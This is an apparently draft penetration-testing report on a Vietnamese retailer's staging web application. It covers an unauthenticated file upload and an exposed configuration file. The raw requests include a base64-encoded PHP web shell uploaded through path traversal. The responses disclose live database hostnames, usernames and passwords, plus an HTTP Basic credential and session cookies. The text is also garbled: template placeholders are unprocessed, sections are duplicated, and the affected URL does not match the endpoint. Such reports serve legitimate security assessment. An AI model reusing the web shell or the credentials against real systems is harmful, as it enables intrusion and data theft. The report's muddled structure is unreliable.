**Unlicensed version. Please register @ templater.info**

**HPTVIETNAM CORPORATION**

**HPT Cyber Security Center**

**Website: www.hpt.vn**

**---o0o---**

SECURITY ASSESSMENT REPORT

****

**A computer mouse and keyboard

Description automatically generated with medium confidence**

**PENETRATION TESTING REPORT   
WEB APPLICATION**

**CUSTOMER:**

**TABLE OF CONTENTS**

[1. EXECUTIVE SUMMARY 1](#_Toc34146486)

[1.1. VERSION OF DOCUMENT 1](#_Toc34146487)

[1.2. IMPLEMETATION TIME 1](#_Toc34146488)

[1.3. TECHNICAL TEAM 1](#_Toc34146489)

[1.4. MỤC ĐÍCH ĐÁNH GIÁ 1](#_Toc34146490)

[1.5. SCOPE OF ASSESSMENT 1](#_Toc34146491)

[1.6. ASSESSMENT STANDARD 1](#_Toc34146492)

[1.7. VULNERABILITIES STATISTICS 2](#_Toc34146493)

[1.8. RECOMMENDATION 3](#_Toc34146494)

[2. TECHNICAL DETAIL REPORT 4](#_Toc34146495)

[2.1. CRITICAL RISK FINDINGS 4](#_Toc34146496)

[2.1.1. ISSUE 4](#_Toc34146497)

[2.2. HIGH RISK FINDINGS 4](#_Toc34146498)

[2.2.1. ISSUE 4](#_Toc34146499)

[2.3. MEDIUM RISK FINDINGS 5](#_Toc34146500)

[2.3.1. ISSUE 5](#_Toc34146501)

[2.4. LOW RISK FINDINGS 6](#_Toc34146502)

[2.4.1. ISSUE 6](#_Toc34146503)

[3. APPENDIX A: ASSESSMENT INFORMATION 8](#_Toc34146504)

[3.1. LIST OF IP DOING ASSESSMENT 8](#_Toc34146505)

[3.2. LIST OF TOOLS 8](#_Toc34146506)

[3.3. LIST OF OWASP TESTCASE 8](#_Toc34146507)

[4. APPENDIX B: RISK CLASSIFICATION 13](#_Toc34146508)

# PROJECT INFORMATION

The report is divided into several sections including executive report and detail report for findings of application

## VERSION OF DOCUMENT

|  |  |  |  |  |
| --- | --- | --- | --- | --- |
| ID | UPDATE DATE | VERSION | TYPE | AUTHOR |
| 1 | 2021-06-06 | v1 | Draft | PhucLT |

## IMPLEMETATION TIME

* Web Application Assessment: 2021-05-19 - 2021-07-19

## TECHNICAL TEAM

|  |  |  |
| --- | --- | --- |
| ID | TECHNICIAN | ROLE |
| 1 | PhucLT | Pentester |
| 2 | QuanHX | Pentester |
| 3 | KietNguyen | Pentester |
| 4 | DatVT | Pentester |
| 5 | SVTTHPT | Pentester |

## PURPOSE OF ASSESSMENT

* Security test for web application.
* Determine vulnerabilities in application in scope of assessment early to prevent exploitation.

## SCOPE OF ASSESSMENT

* Name: NK Online - QAS
* Domain/URL: https://staging2.nguyenkimmall.com/
* Scope of assessment:
* BlackBox: Perform pentest without any information of Web application
* GreyBox: Perform using normal user, registered user

## ASSESSMENT STANDARD

The assessment method is based on OWASP Top 10 Web Category which defines top common category and vulnerablities in Web Appilcation.

* A1 Injection
* A2 Broken Authentication and Session Management
* A3 Cross-Site Scripting (XSS)
* A4 Insecure Direct Object References
* A5 Security Misconfiguration
* A6 Sensitive Data Exposure
* A7 Missing Function Level Access Control
* A8 Cross-Site Request Forgery (CSRF)
* A9 Using Components with Known Vulnerabilities
* A10 Unvalidated Redirects and Forwards

# EXECUTIVE SUMMARY

## VULNERABILITIES STATISTICS

Below is statistics chart of vulnerabilities categorized by severity level in application:

|  |  |  |
| --- | --- | --- |
| ID | SEVERITY | VULNERABILITY |
| 1 | [[AllVuln.Table.color-Risk\_Table]:unprocessed] | Test Upload of Malicious Files (OTG-BUSLOGIC-009) |
| 2 | [[AllVuln.Table.color-Risk\_Table]:unprocessed] | Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004) |
| 3 | [[AllVuln.Table.color-Risk\_Table]:unprocessed] | Testing for Stored Cross Site Scripting(WSTG-INPV-02) |
| 4 | [[AllVuln.Table.color-Risk\_Table]:unprocessed] | Testing for Reflected Cross site scripting (OTG-INPVAL-001) |
| 5 | [[AllVuln.Table.color-Risk\_Table]:unprocessed] | Test number of times a function can be used limits (OTG-BUSLOGIC-005) |

## RECOMMENDATION

After performing security assessment for application, we have some general summary/comment:

# TECHNICAL DETAIL REPORT

## CRITICAL RISK FINDINGS

### Test Upload of Malicious Files (OTG-BUSLOGIC-009)

|  |  |  |  |
| --- | --- | --- | --- |
| **VULNERABILITY INFORMATION** | | | |
| **CATEGORY** | [[Critical.Vuln.Category\_Vuln]:unprocessed] | | |
| **DESCRIPTION** | Tệp upload.php không thiết lập cơ chế xác thực và không lọc đuôi tệp, kẻ tấn công có thể dễ dàng truy cập và thực hiện tải một tệp php nguy hiểm sau đó thực thi mã từ xa lên máy chủ | | |
| **SEVERITY** | **Critical** | | |
| **IMPACT** | **High** | **LIKELIHOOD** | **High** |
| **RECOMMENDATION** | Thiết lập cơ chế xác thực và không cho phép up các tệp html, php | | |
| **REFERENCE** | N/A | | |
| **VULNERABILITY DETAIL** | | | |
| **FUNCTION** | Upload.php | | |
| **AFFECTED URL** | https://www.nguyenkim.com:443/index.php?dispatch=auth.recover\_password | | |
| **PARAMETER** | filename | | |
| **CONDITION** | Anonymous User | | |

|  |
| --- |
| **Request 2:**  ""POST /upload.php HTTP/1.1 Host: staging2.nguyenkimmall.com Cookie: sid\_customer\_82df3=4ea544d166691d870cc59667cd8d1c13-C; mp\_skin=desktop; \_ga\_RWCJ26V2KQ=GS1.1.1621412990.4.1.1621414327.0; \_utm\_objs=; \_pk\_id.554926188.f710=376340701.1621399208.4.1621414310.1621413015.; \_ga=GA1.2.122288110.1621399209; \_ac\_client\_id=376340701.1621399209; \_asm\_visitor\_type=r; \_ac\_an\_session=zhzlznzhzizjzjzmzjzizdzgzkzlzgznzjzkzjzizdzizlzhziznziznzjzlzgzdzhzdzizlzhziznziznzgzizizdzizlzhziznziznzgzizizdzhzdzhzqzdzizd2f27zdzgzdzlzmzmzhzkzd; au\_id=376340701; \_ac\_au\_gt=1621399209539; gr\_reco=17982ec8c2d-a3443b6d74673b0d; \_gid=GA1.2.91465732.1621399213; nkudt=%7B%22ct%22%3A%22%5C%2FD0AL5C2DsZrH6znUWV2g4YezsZS%2BQKW8Oay8E6JIj%5C%2FNsDxONrScTkjjEKwMxiiZi24YmIe3Cw1qUopVmR60c2KqD1NyZs4j%2BAVzqE5Aw9%2BHbplm18E3qhsOUmvbkcbn%22%2C%22iv%22%3A%22ef98fd3771f4f0d70c847a7e20b5c6ef%22%2C%22s%22%3A%224847753923403249%22%7D; user\_track\_data=%7B%22identify\_id%22%3A%22d41d8cd98f00b204e9800998ecf8427e%22%2C%22identify\_name%22%3A%22Kiet+Anhh%22%2C%22identify\_phone%22%3A%22%22%2C%22identify\_email%22%3A%22ranoxpvp%40gmail.com%22%2C%22identify\_address%22%3A%22%22%7D; \_asm\_uid=376340701; recently\_products=14827%2C2047%2C85210%2C88446%2C47882%2C94048; recommend\_products=10905%2C11442%2C20931%2C32630%2C41024%2C89007%2C36030%2C20853%2C64842%2C71716; nkcarttime=1621410855; current\_state=001; \_fbp=fb.1.1621400528403.1371688865; cto\_bundle=\_PLj4l9MWVY5MXMwb2V1ZXd2VlpnMDd1cnElMkJ4SyUyQjRlRE1HMExra1NmQ2hZSkslMkZDNFFCT2tzVHpTbFNob1JQVlBGNGRkVXVRN2kwc1lzNFJaS1dhbWFINk5vdzcwdXVLY1ZwcW1ZYTI2Rm5Kb3pySHVVT1BkSEtGOXhvaDhEZkdpRDVWdWJ4Q2x4N2VqeHUlMkI2aWZqVVJOM2FRcGIyS0I4TmphbURLQmZHUlZSWUNkTXExOXQlMkZDUnpzJTJGVEZvbXh6Q0FSSDhOcVlEb05KbG12eEZUMnNGODlEdXRRJTNEJTNE; PHPSESSID=17fo0tj0mp7lj0eg38ptvpo2q5; \_pk\_ses.554926188.f710=\*; ai\_client\_id=12099609615.1621414009; an\_session=zlzqzqzkzrzqzhzizkzdzizhzjzqzqzlzjzqzlzizmzdzizlzhziznziznzjzjzqzdzhzdzizlzhziznziznzjzjzqzdzizlzhziznziznzjzjzqzdzjzdzhzqzdzizd2f27zdzjzdzlzmzmzhzk; au\_aid=12099609615; dgs=1621414021%3A3%3A0; au\_gt=1621414009155; \_ants\_services=%5B%22tags%22%2C%22cuid%22%5D; \_ants\_event\_his=%7B%22action%22%3A%22checkout%22%2C%22time%22%3A1621414022310%7D; \_ants\_utm\_v2=; nkcart=1; gr\_rt=17982ec8c2d-a3443b6d74673b0d; \_gat\_UA-251534152-1=1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:88.0) Gecko/20100101 Firefox/88.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,\*/\*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Authorization: Basic c3RhZ2luZ25rOlN0QWExSStuZyFOaw== Upgrade-Insecure-Requests: 1 Te: trailers Connection: close Content-Length: 126  fileData=PGgxPktpZXROQSBkeiBmciBIUFQgQ3liZXIgc2VjPC9oMT4KPD89YCRfR0VUWzBdYCA/Pg==&fileName=../../../../images/kiett.php.orionn"" |
| **Response 2:**  ""HTTP/1.1 200 OK Server: nginx Date: Wed, 19 May 2021 09:18:53 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 7 Connection: close X-Powered-By: PHP/7.0.29 Cache-Control: max-age=3600 Expires: Wed, 19 May 2021 10:18:53 GMT Vary: Accept-Encoding,User-Agent Access-Control-Allow-Origin: \* Access-Control-Allow-Origin: \*   Success" |
| **Image-2021-05-19 16:32:38:**  "N/A"  [[CriticalVulnDetails.image-Image]:from-resource:maxSize(15):unprocessed] |
| **Request 1:**  ""GET /tsconfig.json HTTP/1.1 Host: staging2.nguyenkimmall.com Cookie: sid\_customer\_82df3=4ea544d166691d870cc59667cd8d1c13-C; mp\_skin=desktop; \_ga\_RWCJ26V2KQ=GS1.1.1621412990.4.1.1621415487.0; \_utm\_objs=; \_pk\_id.554926188.f710=376340701.1621399208.4.1621415487.1621413015.; \_ga=GA1.2.122288110.1621399209; \_ac\_client\_id=376340701.1621399209; \_asm\_visitor\_type=r; \_ac\_an\_session=zhzlznzhzizjzjzmzjzizdzgzkzlzgznzjzkzjzizdzizlzhziznziznzjzlzgzdzhzdzizlzhziznzizmznzrzkzdzizlzhziznzizmznzrzkzdzhzdzhzqzdzizd2f27zdzgzdzlzmzmzhzkzd; au\_id=376340701; \_ac\_au\_gt=1621399209539; gr\_reco=17982ec8c2d-a3443b6d74673b0d; \_gid=GA1.2.91465732.1621399213; nkudt=%7B%22ct%22%3A%22%5C%2FD0AL5C2DsZrH6znUWV2g4YezsZS%2BQKW8Oay8E6JIj%5C%2FNsDxONrScTkjjEKwMxiiZi24YmIe3Cw1qUopVmR60c2KqD1NyZs4j%2BAVzqE5Aw9%2BHbplm18E3qhsOUmvbkcbn%22%2C%22iv%22%3A%22ef98fd3771f4f0d70c847a7e20b5c6ef%22%2C%22s%22%3A%224847753923403249%22%7D; user\_track\_data=%7B%22identify\_id%22%3A%22d41d8cd98f00b204e9800998ecf8427e%22%2C%22identify\_name%22%3A%22Kiet+Anhh%22%2C%22identify\_phone%22%3A%22%22%2C%22identify\_email%22%3A%22ranoxpvp%40gmail.com%22%2C%22identify\_address%22%3A%22%22%7D; \_asm\_uid=376340701; recently\_products=14827%2C2047%2C85210%2C88446%2C47882%2C94048; recommend\_products=10905%2C11442%2C20931%2C32630%2C41024%2C89007%2C36030%2C20853%2C64842%2C71716; nkcarttime=1621410855; current\_state=001; \_fbp=fb.1.1621400528403.1371688865; cto\_bundle=\_PLj4l9MWVY5MXMwb2V1ZXd2VlpnMDd1cnElMkJ4SyUyQjRlRE1HMExra1NmQ2hZSkslMkZDNFFCT2tzVHpTbFNob1JQVlBGNGRkVXVRN2kwc1lzNFJaS1dhbWFINk5vdzcwdXVLY1ZwcW1ZYTI2Rm5Kb3pySHVVT1BkSEtGOXhvaDhEZkdpRDVWdWJ4Q2x4N2VqeHUlMkI2aWZqVVJOM2FRcGIyS0I4TmphbURLQmZHUlZSWUNkTXExOXQlMkZDUnpzJTJGVEZvbXh6Q0FSSDhOcVlEb05KbG12eEZUMnNGODlEdXRRJTNEJTNE; PHPSESSID=17fo0tj0mp7lj0eg38ptvpo2q5; \_pk\_ses.554926188.f710=\*; ai\_client\_id=12099609615.1621414009; an\_session=zlzqzqzkzrzqzhzizkzdzizhzjzqzqzlzjzqzlzizmzdzizlzhziznziznzjzjzqzdzhzdzizlzhziznziznzjzjzqzdzizlzhziznziznzjzjzqzdzjzdzhzqzdzizd2f27zdzjzdzlzmzmzhzk; au\_aid=12099609615; dgs=1621414021%3A3%3A0; au\_gt=1621414009155; \_ants\_services=%5B%22tags%22%2C%22cuid%22%5D; \_ants\_event\_his=%7B%22action%22%3A%22checkout%22%2C%22time%22%3A1621414022310%7D; \_ants\_utm\_v2=; nkcart=1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:88.0) Gecko/20100101 Firefox/88.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,\*/\*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Authorization: Basic c3RhZ2luZ25rOlN0QWExSStuZyFOaw== Upgrade-Insecure-Requests: 1 If-Modified-Since: Mon, 08 Mar 2021 07:26:21 GMT Te: trailers Connection: close  ""  [[CriticalVulnDetails.image-Image]:from-resource:maxSize(15):unprocessed] |
| **Response 1:**  ""HTTP/1.1 304 Not Modified Server: nginx Date: Wed, 19 May 2021 09:35:44 GMT Connection: close Expires: Wed, 19 May 2021 09:38:44 GMT Cache-Control: max-age=180 Vary: Accept-Encoding,User-Agent Access-Control-Allow-Origin: \*   {  "read": {  "db\_host": "123.30.128.124",  "db\_user": "devnk\_user",  "db\_password": "s7jtpXQQcEnkl1C",  "db\_name": "devnk\_db"  },  "write": {  "db\_host": "171.244.26.182",  "db\_user": "nk\_dung",  "db\_password": "IyZap05REPEdD",  "db\_name": "newnguyenkim\_db\_clone"  } }"  [[CriticalVulnDetails.image-Image]:from-resource:maxSize(15):unprocessed] |
| **Image-2021-05-19 16:36:44:**  "N/A"  [[CriticalVulnDetails.image-Image]:from-resource:maxSize(15):unprocessed] |

### Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004)

|  |  |  |  |
| --- | --- | --- | --- |
| **VULNERABILITY INFORMATION** | | | |
| **CATEGORY** | [[Critical.Vuln.Category\_Vuln]:unprocessed] | | |
| **DESCRIPTION** | Hệ thống chứa tệp tsconfig.json ở thư mục root và không phân quyền truy cập, kẻ tấn công có thể thoải mái truy cập và có được thông tin kết nối cơ sở dữ liệu | | |
| **SEVERITY** | **Critical** | | |
| **IMPACT** | **High** | **LIKELIHOOD** | **High** |
| **RECOMMENDATION** | Dời vào thư mục khác hoặc thiết lập quyền truy cập cho tệp | | |
| **REFERENCE** | N/A | | |
| **VULNERABILITY DETAIL** | | | |
| **FUNCTION** | tsconfig.json | | |
| **AFFECTED URL** | https://staging2.nguyenkimmall.com:443/tsconfig.json | | |
| **PARAMETER** | N/A | | |
| **CONDITION** | Anonymous User | | |

|  |
| --- |
| **Request 2:**  ""POST /upload.php HTTP/1.1 Host: staging2.nguyenkimmall.com Cookie: sid\_customer\_82df3=4ea544d166691d870cc59667cd8d1c13-C; mp\_skin=desktop; \_ga\_RWCJ26V2KQ=GS1.1.1621412990.4.1.1621414327.0; \_utm\_objs=; \_pk\_id.554926188.f710=376340701.1621399208.4.1621414310.1621413015.; \_ga=GA1.2.122288110.1621399209; \_ac\_client\_id=376340701.1621399209; \_asm\_visitor\_type=r; \_ac\_an\_session=zhzlznzhzizjzjzmzjzizdzgzkzlzgznzjzkzjzizdzizlzhziznziznzjzlzgzdzhzdzizlzhziznziznzgzizizdzizlzhziznziznzgzizizdzhzdzhzqzdzizd2f27zdzgzdzlzmzmzhzkzd; au\_id=376340701; \_ac\_au\_gt=1621399209539; gr\_reco=17982ec8c2d-a3443b6d74673b0d; \_gid=GA1.2.91465732.1621399213; nkudt=%7B%22ct%22%3A%22%5C%2FD0AL5C2DsZrH6znUWV2g4YezsZS%2BQKW8Oay8E6JIj%5C%2FNsDxONrScTkjjEKwMxiiZi24YmIe3Cw1qUopVmR60c2KqD1NyZs4j%2BAVzqE5Aw9%2BHbplm18E3qhsOUmvbkcbn%22%2C%22iv%22%3A%22ef98fd3771f4f0d70c847a7e20b5c6ef%22%2C%22s%22%3A%224847753923403249%22%7D; user\_track\_data=%7B%22identify\_id%22%3A%22d41d8cd98f00b204e9800998ecf8427e%22%2C%22identify\_name%22%3A%22Kiet+Anhh%22%2C%22identify\_phone%22%3A%22%22%2C%22identify\_email%22%3A%22ranoxpvp%40gmail.com%22%2C%22identify\_address%22%3A%22%22%7D; \_asm\_uid=376340701; recently\_products=14827%2C2047%2C85210%2C88446%2C47882%2C94048; recommend\_products=10905%2C11442%2C20931%2C32630%2C41024%2C89007%2C36030%2C20853%2C64842%2C71716; nkcarttime=1621410855; current\_state=001; \_fbp=fb.1.1621400528403.1371688865; cto\_bundle=\_PLj4l9MWVY5MXMwb2V1ZXd2VlpnMDd1cnElMkJ4SyUyQjRlRE1HMExra1NmQ2hZSkslMkZDNFFCT2tzVHpTbFNob1JQVlBGNGRkVXVRN2kwc1lzNFJaS1dhbWFINk5vdzcwdXVLY1ZwcW1ZYTI2Rm5Kb3pySHVVT1BkSEtGOXhvaDhEZkdpRDVWdWJ4Q2x4N2VqeHUlMkI2aWZqVVJOM2FRcGIyS0I4TmphbURLQmZHUlZSWUNkTXExOXQlMkZDUnpzJTJGVEZvbXh6Q0FSSDhOcVlEb05KbG12eEZUMnNGODlEdXRRJTNEJTNE; PHPSESSID=17fo0tj0mp7lj0eg38ptvpo2q5; \_pk\_ses.554926188.f710=\*; ai\_client\_id=12099609615.1621414009; an\_session=zlzqzqzkzrzqzhzizkzdzizhzjzqzqzlzjzqzlzizmzdzizlzhziznziznzjzjzqzdzhzdzizlzhziznziznzjzjzqzdzizlzhziznziznzjzjzqzdzjzdzhzqzdzizd2f27zdzjzdzlzmzmzhzk; au\_aid=12099609615; dgs=1621414021%3A3%3A0; au\_gt=1621414009155; \_ants\_services=%5B%22tags%22%2C%22cuid%22%5D; \_ants\_event\_his=%7B%22action%22%3A%22checkout%22%2C%22time%22%3A1621414022310%7D; \_ants\_utm\_v2=; nkcart=1; gr\_rt=17982ec8c2d-a3443b6d74673b0d; \_gat\_UA-251534152-1=1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:88.0) Gecko/20100101 Firefox/88.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,\*/\*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Authorization: Basic c3RhZ2luZ25rOlN0QWExSStuZyFOaw== Upgrade-Insecure-Requests: 1 Te: trailers Connection: close Content-Length: 126  fileData=PGgxPktpZXROQSBkeiBmciBIUFQgQ3liZXIgc2VjPC9oMT4KPD89YCRfR0VUWzBdYCA/Pg==&fileName=../../../../images/kiett.php.orionn""  [[CriticalVulnDetails.image-Image]:from-resource:maxSize(15):unprocessed] |
| **Response 2:**  ""HTTP/1.1 200 OK Server: nginx Date: Wed, 19 May 2021 09:18:53 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 7 Connection: close X-Powered-By: PHP/7.0.29 Cache-Control: max-age=3600 Expires: Wed, 19 May 2021 10:18:53 GMT Vary: Accept-Encoding,User-Agent Access-Control-Allow-Origin: \* Access-Control-Allow-Origin: \*   Success"  [[CriticalVulnDetails.image-Image]:from-resource:maxSize(15):unprocessed] |
| **Image-2021-05-19 16:32:38:**  "N/A"  [[CriticalVulnDetails.image-Image]:from-resource:maxSize(15):unprocessed] |
| **Request 1:**  ""GET /tsconfig.json HTTP/1.1 Host: staging2.nguyenkimmall.com Cookie: sid\_customer\_82df3=4ea544d166691d870cc59667cd8d1c13-C; mp\_skin=desktop; \_ga\_RWCJ26V2KQ=GS1.1.1621412990.4.1.1621415487.0; \_utm\_objs=; \_pk\_id.554926188.f710=376340701.1621399208.4.1621415487.1621413015.; \_ga=GA1.2.122288110.1621399209; \_ac\_client\_id=376340701.1621399209; \_asm\_visitor\_type=r; \_ac\_an\_session=zhzlznzhzizjzjzmzjzizdzgzkzlzgznzjzkzjzizdzizlzhziznziznzjzlzgzdzhzdzizlzhziznzizmznzrzkzdzizlzhziznzizmznzrzkzdzhzdzhzqzdzizd2f27zdzgzdzlzmzmzhzkzd; au\_id=376340701; \_ac\_au\_gt=1621399209539; gr\_reco=17982ec8c2d-a3443b6d74673b0d; \_gid=GA1.2.91465732.1621399213; nkudt=%7B%22ct%22%3A%22%5C%2FD0AL5C2DsZrH6znUWV2g4YezsZS%2BQKW8Oay8E6JIj%5C%2FNsDxONrScTkjjEKwMxiiZi24YmIe3Cw1qUopVmR60c2KqD1NyZs4j%2BAVzqE5Aw9%2BHbplm18E3qhsOUmvbkcbn%22%2C%22iv%22%3A%22ef98fd3771f4f0d70c847a7e20b5c6ef%22%2C%22s%22%3A%224847753923403249%22%7D; user\_track\_data=%7B%22identify\_id%22%3A%22d41d8cd98f00b204e9800998ecf8427e%22%2C%22identify\_name%22%3A%22Kiet+Anhh%22%2C%22identify\_phone%22%3A%22%22%2C%22identify\_email%22%3A%22ranoxpvp%40gmail.com%22%2C%22identify\_address%22%3A%22%22%7D; \_asm\_uid=376340701; recently\_products=14827%2C2047%2C85210%2C88446%2C47882%2C94048; recommend\_products=10905%2C11442%2C20931%2C32630%2C41024%2C89007%2C36030%2C20853%2C64842%2C71716; nkcarttime=1621410855; current\_state=001; \_fbp=fb.1.1621400528403.1371688865; cto\_bundle=\_PLj4l9MWVY5MXMwb2V1ZXd2VlpnMDd1cnElMkJ4SyUyQjRlRE1HMExra1NmQ2hZSkslMkZDNFFCT2tzVHpTbFNob1JQVlBGNGRkVXVRN2kwc1lzNFJaS1dhbWFINk5vdzcwdXVLY1ZwcW1ZYTI2Rm5Kb3pySHVVT1BkSEtGOXhvaDhEZkdpRDVWdWJ4Q2x4N2VqeHUlMkI2aWZqVVJOM2FRcGIyS0I4TmphbURLQmZHUlZSWUNkTXExOXQlMkZDUnpzJTJGVEZvbXh6Q0FSSDhOcVlEb05KbG12eEZUMnNGODlEdXRRJTNEJTNE; PHPSESSID=17fo0tj0mp7lj0eg38ptvpo2q5; \_pk\_ses.554926188.f710=\*; ai\_client\_id=12099609615.1621414009; an\_session=zlzqzqzkzrzqzhzizkzdzizhzjzqzqzlzjzqzlzizmzdzizlzhziznziznzjzjzqzdzhzdzizlzhziznziznzjzjzqzdzizlzhziznziznzjzjzqzdzjzdzhzqzdzizd2f27zdzjzdzlzmzmzhzk; au\_aid=12099609615; dgs=1621414021%3A3%3A0; au\_gt=1621414009155; \_ants\_services=%5B%22tags%22%2C%22cuid%22%5D; \_ants\_event\_his=%7B%22action%22%3A%22checkout%22%2C%22time%22%3A1621414022310%7D; \_ants\_utm\_v2=; nkcart=1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:88.0) Gecko/20100101 Firefox/88.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,\*/\*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Authorization: Basic c3RhZ2luZ25rOlN0QWExSStuZyFOaw== Upgrade-Insecure-Requests: 1 If-Modified-Since: Mon, 08 Mar 2021 07:26:21 GMT Te: trailers Connection: close  ""  [[CriticalVulnDetails.image-Image]:from-resource:maxSize(15):unprocessed] |
| **Response 1:**  ""HTTP/1.1 304 Not Modified Server: nginx Date: Wed, 19 May 2021 09:35:44 GMT Connection: close Expires: Wed, 19 May 2021 09:38:44 GMT Cache-Control: max-age=180 Vary: Accept-Encoding,User-Agent Access-Control-Allow-Origin: \*   {  "read": {  "db\_host": "123.30.128.124",  "db\_user": "devnk\_user",  "db\_password": "s7jtpXQQcEnkl1C",  "db\_name": "devnk\_db"  },  "write": {  "db\_host": "171.244.26.182",  "db\_user": "nk\_dung",  "db\_password": "IyZap05REPEdD",  "db\_name": "newnguyenkim\_db\_clone"  } }"  [[CriticalVulnDetails.image-Image]:from-resource:maxSize(15):unprocessed] |
| **Image-2021-05-19 16:36:44:**  "N/A"  [[CriticalVulnDetails.image-Image]:from-resource:maxSize(15):unprocessed] |

### Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004)

|  |  |  |  |
| --- | --- | --- | --- |
| **VULNERABILITY INFORMATION** | | | |
| **CATEGORY** | [[Critical.Vuln.Category\_Vuln]:unprocessed] | | |
| **DESCRIPTION** | Hệ thống chứa tệp tsconfig.json ở thư mục root và không phân quyền truy cập, kẻ tấn công có thể thoải mái truy cập và có được thông tin kết nối cơ sở dữ liệu | | |
| **SEVERITY** | **Critical** | | |
| **IMPACT** | **High** | **LIKELIHOOD** | **High** |
| **RECOMMENDATION** | Dời vào thư mục khác hoặc thiết lập quyền truy cập cho tệp | | |
| **REFERENCE** | N/A | | |
| **VULNERABILITY DETAIL** | | | |
| **FUNCTION** | tsconfig.json | | |
| **AFFECTED URL** | https://staging2.nguyenkimmall.com:443/tsconfig.json | | |
| **PARAMETER** | N/A | | |
| **CONDITION** | Anonymous User | | |

|  |
| --- |
| **Request 2:**  ""POST /upload.php HTTP/1.1 Host: staging2.nguyenkimmall.com Cookie: sid\_customer\_82df3=4ea544d166691d870cc59667cd8d1c13-C; mp\_skin=desktop; \_ga\_RWCJ26V2KQ=GS1.1.1621412990.4.1.1621414327.0; \_utm\_objs=; \_pk\_id.554926188.f710=376340701.1621399208.4.1621414310.1621413015.; \_ga=GA1.2.122288110.1621399209; \_ac\_client\_id=376340701.1621399209; \_asm\_visitor\_type=r; \_ac\_an\_session=zhzlznzhzizjzjzmzjzizdzgzkzlzgznzjzkzjzizdzizlzhziznziznzjzlzgzdzhzdzizlzhziznziznzgzizizdzizlzhziznziznzgzizizdzhzdzhzqzdzizd2f27zdzgzdzlzmzmzhzkzd; au\_id=376340701; \_ac\_au\_gt=1621399209539; gr\_reco=17982ec8c2d-a3443b6d74673b0d; \_gid=GA1.2.91465732.1621399213; nkudt=%7B%22ct%22%3A%22%5C%2FD0AL5C2DsZrH6znUWV2g4YezsZS%2BQKW8Oay8E6JIj%5C%2FNsDxONrScTkjjEKwMxiiZi24YmIe3Cw1qUopVmR60c2KqD1NyZs4j%2BAVzqE5Aw9%2BHbplm18E3qhsOUmvbkcbn%22%2C%22iv%22%3A%22ef98fd3771f4f0d70c847a7e20b5c6ef%22%2C%22s%22%3A%224847753923403249%22%7D; user\_track\_data=%7B%22identify\_id%22%3A%22d41d8cd98f00b204e9800998ecf8427e%22%2C%22identify\_name%22%3A%22Kiet+Anhh%22%2C%22identify\_phone%22%3A%22%22%2C%22identify\_email%22%3A%22ranoxpvp%40gmail.com%22%2C%22identify\_address%22%3A%22%22%7D; \_asm\_uid=376340701; recently\_products=14827%2C2047%2C85210%2C88446%2C47882%2C94048; recommend\_products=10905%2C11442%2C20931%2C32630%2C41024%2C89007%2C36030%2C20853%2C64842%2C71716; nkcarttime=1621410855; current\_state=001; \_fbp=fb.1.1621400528403.1371688865; cto\_bundle=\_PLj4l9MWVY5MXMwb2V1ZXd2VlpnMDd1cnElMkJ4SyUyQjRlRE1HMExra1NmQ2hZSkslMkZDNFFCT2tzVHpTbFNob1JQVlBGNGRkVXVRN2kwc1lzNFJaS1dhbWFINk5vdzcwdXVLY1ZwcW1ZYTI2Rm5Kb3pySHVVT1BkSEtGOXhvaDhEZkdpRDVWdWJ4Q2x4N2VqeHUlMkI2aWZqVVJOM2FRcGIyS0I4TmphbURLQmZHUlZSWUNkTXExOXQlMkZDUnpzJTJGVEZvbXh6Q0FSSDhOcVlEb05KbG12eEZUMnNGODlEdXRRJTNEJTNE; PHPSESSID=17fo0tj0mp7lj0eg38ptvpo2q5; \_pk\_ses.554926188.f710=\*; ai\_client\_id=12099609615.1621414009; an\_session=zlzqzqzkzrzqzhzizkzdzizhzjzqzqzlzjzqzlzizmzdzizlzhziznziznzjzjzqzdzhzdzizlzhziznziznzjzjzqzdzizlzhziznziznzjzjzqzdzjzdzhzqzdzizd2f27zdzjzdzlzmzmzhzk; au\_aid=12099609615; dgs=1621414021%3A3%3A0; au\_gt=1621414009155; \_ants\_services=%5B%22tags%22%2C%22cuid%22%5D; \_ants\_event\_his=%7B%22action%22%3A%22checkout%22%2C%22time%22%3A1621414022310%7D; \_ants\_utm\_v2=; nkcart=1; gr\_rt=17982ec8c2d-a3443b6d74673b0d; \_gat\_UA-251534152-1=1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:88.0) Gecko/20100101 Firefox/88.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,\*/\*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Authorization: Basic c3RhZ2luZ25rOlN0QWExSStuZyFOaw== Upgrade-Insecure-Requests: 1 Te: trailers Connection: close Content-Length: 126  fileData=PGgxPktpZXROQSBkeiBmciBIUFQgQ3liZXIgc2VjPC9oMT4KPD89YCRfR0VUWzBdYCA/Pg==&fileName=../../../../images/kiett.php.orionn""  [[CriticalVulnDetails.image-Image]:from-resource:maxSize(15):unprocessed] |
